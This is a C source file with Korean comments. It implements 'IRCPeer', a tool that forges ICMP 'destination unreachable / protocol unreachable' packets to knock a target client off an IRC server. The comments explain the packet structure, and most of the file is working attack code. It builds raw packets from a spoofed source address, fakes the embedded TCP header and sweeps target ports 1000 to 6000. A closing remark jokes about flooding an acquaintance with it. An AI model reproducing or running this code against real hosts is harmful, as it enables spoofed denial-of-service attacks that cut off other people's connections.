/*
* File Name: IRCPeer.c
*
* File
Description:
* IRC((Internet Relay Chat) 서버에 연결되어 있는 client 로 변조된 ICMP packet 을 보내어
* 해당
client 의 연결을 끊게 한다.
*
*
*/
/*
* A fundamental
principle:
*
* ICMP 는 Internet Control Message Protocol 의 준말이며,
* 네트워크
통신중의 에러, 혹은 다른 상태에 관한 정보를 알려주기 위한
* 프로토콜 이다.
*
* ICMP 는 IP layer 이며,
이로 인해 ICMP 정보는 IP packet 안에 삽입되어 진다.
* 이를 인캡슐레이션(encapsulation) 이라 한다.
*
이러한 ICMP Message 에는 에러의 타입을 알리는 type field 와
* 좀 더 자세한 에러를 알리기 위한 code field
가 존재한다.
* Stevens 의 TCP-IP Illustrated Vol-1 의 p71 에는 해당 type 과
* code 에
대한 목록이 있다.
* 그 목록을 보면 type 3 은 'destination unreachable' 이라고 하여,
* 목적지에
도달할수 없다는 의미의 에러와, 그에 상응하는
* code field 들이 나열되어 있다.
*
* code field 를
보면 'protocol unreachable' 의 코드가 2 로 정해져 있다.
* 이 부분을 사용하는것이 본 코드의 core 부분이라 말할
수 있다.
* 좀 더 자세하게 이야기 하면, 해당 ICMP message 를 client 에게
* 전달하여 어플리케이션으로 하여금
에러를 발생시키는것이다.
*
* raw socket 으로 만들어 내는 패킷은 p78 하단에 나와있는
* figure 6.9
와 비슷한데, 책에서는 udp 를 사용하는 tftp 의
* 'UDP port unreachable' 의 ICMP packet 을 예제로
설명한것이고,
* 본 코드는 'TCP protocol unreachable' 을 구현한것이다.
* 즉, IRC 는 UDP 가 아닌
TCP 이므로 마지막의 UDP header 부분의
* 8 바이트를 TCP header 8 바이트로 변환하고, error type 과
code 를 변경하였다.
* 본 코드에서 만들어 내는 packet 구조는 다음과 같다.
*
* |◀━━━━━━━━━ IP datagram
━━━━━━━━━━▶|
* |◀━━━━━━ ICMP message
━━━━━▶|
* |◀ data portion of ICMP message
▶|
* /━━━━━+━━━━━━━+━━━+━━━━━━━━━━━━+━━━━/
*
| | | | | |
* |
Ethernet | IP | ICMP | IP header of datagram | TCP |
*
| | | | that generated error | header |
*
/━━━━━+━━━━━━━+━━━+━━━━━━━━━━━━+━━━━/
* 14 20
8 20 8
* bytes bytes
bytes bytes bytes
*
* 본 코드에서는 IP 부분부터 구현하였는데
PKTSIZE 가 define 된 부분부터 보면,
*
* [ struct ip ] + [ struct icmp ] + [ 8
bytes of struct tcphdr ]
*
* 이러한 형식으로 구성되었다.
* 중간의 IP header 20바이트 부분은
icmp 구조체 안의 icmp_data 멤버의
* 20바이트에 할당하여 사용한다.
*/
#include
<stdio.h>
#include <stdlib.h>
#include
<unistd.h>
#include <netdb.h>
#include
<sys/types.h>
#include <sys/socket.h>
#include
<netinet/in.h>
#include <netinet/ip.h>
#include
<netinet/ip_icmp.h>
#include <netinet/tcp.h>
#include
<netinet/udp.h>
#define S_PORT 1000 // 공격 시작
포트
#define E_PORT 6000 // 공격 끝 포트
#define PKTSIZE
(sizeof(struct ip) + sizeof(struct icmp) + 8)
#define SPOOF
"192.168.0.1" // 기본 스푸핑 아이피
/* define structure */
struct info
{
char t_addr[16];
int t_port;
char
irc_addr[16];
int irc_port;
char spoof_addr[16];
};
/*
user-defined function prototype */
void usage(char
*);
int Attack(struct info *);
unsigned
short in_cksum(unsigned short *, int);
int main(int argc, char
**argv)
{
int opt,
irc_port =
6667; // 기본 IRC 접속 포트
int i;
struct
hostent *he;
struct info *info; // 공격 정보를 담을
구조체
unsigned int serv_addr; // IRC server address 를 저장할
변수
char *t_addr = NULL, // 공격 타겟 IP
address
*irc_serv = NULL, // IRC Server
domain
irc_addr[16], // IRC Server IP
address
*spoof_addr = SPOOF; // Spoofing 하게 될 IP
address
while((opt = getopt(argc, argv, "t:i:p:s:")) != -1)
{
switch(opt) {
case 't':
t_addr =
optarg;
break;
case
'i':
irc_serv =
optarg;
break;
case
'p':
irc_port =
atoi(optarg);
break;
case
's':
spoof_addr =
optarg;
break;
default:
usage(argv[0]);
}
}
if(t_addr
== NULL || irc_serv == NULL)
{
usage(argv[0]);
}
if((he =
gethostbyname(irc_serv)) == NULL)
{
herror("gethostbyname");
exit(-1);
}
memcpy(&serv_addr,
he->h_addr, 4);
memset(irc_addr, 0,
sizeof(irc_addr));
sprintf(irc_addr, "%s",
(char*)inet_ntoa(serv_addr));
printf(
"IRCPeer - A
tool for IRC ICMP flood.\n\n"
"[+] Target IP Address:
%s\n"
"[+] Server: %s (%s)\n"
"[+] Server Port:
%d\n"
"[+] Spoof IP: %s\n",
t_addr, irc_serv,
irc_addr, irc_port, spoof_addr);
info = (struct info
*)malloc(sizeof(struct info));
if(info == NULL) {
printf("Out
of
memory.\n");
exit(-1);
}
strncpy(info->t_addr,
t_addr, sizeof(info->t_addr));
info->t_port =
0;
strncpy(info->irc_addr, irc_addr,
sizeof(info->irc_addr));
info->irc_port =
irc_port;
strncpy(info->spoof_addr, spoof_addr,
sizeof(info->spoof_addr));
for(i = S_PORT; i < E_PORT;
i++) {
if(i%30 == 0) usleep(200000); // delay 0.2
seconds
info->t_port =
i;
Attack(info);
printf("[-] Sending Packets..... %d\n",
i);
printf("\033[J\033[A");
}
printf("[+] Sending
Packets..... %d\n", i);
printf("[+]
Complete.\n");
free(info);
}
/*
* Function Name:
usage
*
* Function Description:
* 공격에 사용될 기본 정보가 입력되지 않았을때
실행되며,
* 본 프로그램에 대한 사용법을 출력한다.
*/
void usage(char
*prog)
{
int i = 0;
printf(
"IRCPeer
- A tool for IRC ICMP flood.\n\n"
"Usage: %s -t <TARGET> -i
<IRC SERVER> "
"[-p <IRC PORT> -s <SPOOF
IP>]\n\n"
" -t <TARGET> \t\tTarget IP
Address.\n"
" -i <IRC SERVER> \tIRC
Server.\n"
" -p <IRC PORT> \tIRC
Port.\n"
" -s <SPOOF IP> \tSpoofing Mode.\n\n",
prog);
printf(
"<IRC
PORT>:\n"
"\tDefault = 6667\n"
"<SPOOF
IP>:\n"
"\tDefault =
192.168.0.1\n"
);
exit(0);
}
/*
* Function Name:
Attack
*
* Function Description:
* 실제적인 공격에 관한 사용자 정의 함수이다.
* 함수의
매개변수로는 Client IP/Port, Server IP/Port.
* Spoofing IP 이렇게 다섯가지 정보가 저장되어
있는
* 구조체의 포인터가 사용된다.
*/
int Attack(struct info
*info)
{
int on =
1,
sock;
char pkt[PKTSIZE];
struct
icmp *icmp;
struct ip *ip;
struct
iphdr *iphdr;
struct tcphdr *tcphdr;
struct
sockaddr_in addr;
memset(pkt, 0, PKTSIZE);
if((sock =
socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0)
{
perror("socket");
exit(-1);
}
if(setsockopt(sock,
IPPROTO_IP, IP_HDRINCL, (char*)&on, sizeof(on)) < 0)
{
perror("setsockopt");
exit(-1);
}
/*
IP Configuration */
ip = (struct ip *)pkt;
ip->ip_hl =
5;
ip->ip_v = IPVERSION;
ip->ip_len = htons(sizeof(struct
ip) + sizeof(struct icmp));
ip->ip_id
=htons(getpid());
ip->ip_ttl = 242;
ip->ip_p =
IPPROTO_ICMP;
ip->ip_src.s_addr =
inet_addr(info->spoof_addr);
ip->ip_dst.s_addr =
inet_addr(info->t_addr);
ip->ip_sum = htons((unsigned
short)in_cksum((unsigned short *)ip, \
sizeof(struct
ip)));
/* ICMP Configuration */
icmp = (struct icmp *)(pkt +
sizeof(struct ip));
icmp->icmp_type =
ICMP_DEST_UNREACH;
icmp->icmp_code = ICMP_PROT_UNREACH;
/*
IP header Configuration */
iphdr = (struct iphdr
*)icmp->icmp_data;
iphdr->ihl = 5;
iphdr->version =
4;
iphdr->tot_len = 4;
iphdr->id =
getpid();
iphdr->ttl = 131;
iphdr->protocol =
IPPROTO_TCP;
iphdr->saddr =
ip->ip_dst.s_addr;
iphdr->daddr =
inet_addr(info->irc_addr);
/* Uppon Layer Protocol 8bytes
*/
tcphdr = (struct tcphdr *)(pkt + sizeof(struct ip) + sizeof(struct
icmp));
tcphdr->source =
htons(info->t_port);
tcphdr->dest =
htons(info->irc_port);
tcphdr->seq =
rand()%time(NULL);
/* ICMP checksum */
icmp->icmp_cksum =
in_cksum((unsigned short *)icmp, +
sizeof(struct
icmp) + 8);
memset((char*)&addr, 0,
sizeof(addr));
addr.sin_family = AF_INET;
addr.sin_addr.s_addr
= inet_addr(info->t_addr);
sendto(sock, (char*)pkt, sizeof(pkt),
0, (struct sockaddr *)&addr,
\
sizeof(addr));
close(sock);
}
/*
* Function
Name: in_cksum
*
* Function Description:
* 체크섬 함수이며, Stevens - Unix
Network Programming Vol-1 p672 에
* 나와있는 코드를 그대로 가져다
사용하였다.
*/
unsigned short in_cksum(unsigned short *addr,int
len)
{
register int sum = 0;
u_short answer =
0;
register u_short *w = addr;
register int nleft =
len;
/*
* Our algorithm is simple, using a 32 bit accumulator
(sum), we add
* sequential 16 bit words to it, and at the end, fold back
all the
* carry bits from the top 16 bits into the lower 16
bits.
*/
while (nleft > 1) {
sum +=
*w++;
nleft -= 2;
}
/* mop up an odd byte, if
necessary */
if (nleft == 1) {
*(u_char *)(&answer) =
*(u_char *)w ;
sum += answer;
}
/* add back carry
outs from top 16 bits to low 16 bits */
sum = (sum >> 16) + (sum
& 0xffff); /* add hi 16 to low 16 */
sum += (sum >>
16); /* add carry */
answer =
~sum; /* truncate to 16 bits
*/
return(answer);
}
/*
* 사족:
* 언젠가부터.. IRC peer 프로그램을
보면서..
* 한번 만들어보고 싶다 라고 생각했었는데.. 시간도 능력도 안되서..
* 실행에 옮기지 못했다가.. 요즘 노는시간이 많아
공부도 할 겸 만들어 보았다.
* peer 프로그램의 packet 을 스니퍼로 캡춰하여 분석해서 만든건데,
* 그 packet 을
보내준 ChrisNova 에게 감사한다..
* (그 packet 을 백배로 돌려서 보내줄까..--a 하하하..)
*/
작성자 : indra (indra@linux.co.kr)
|
|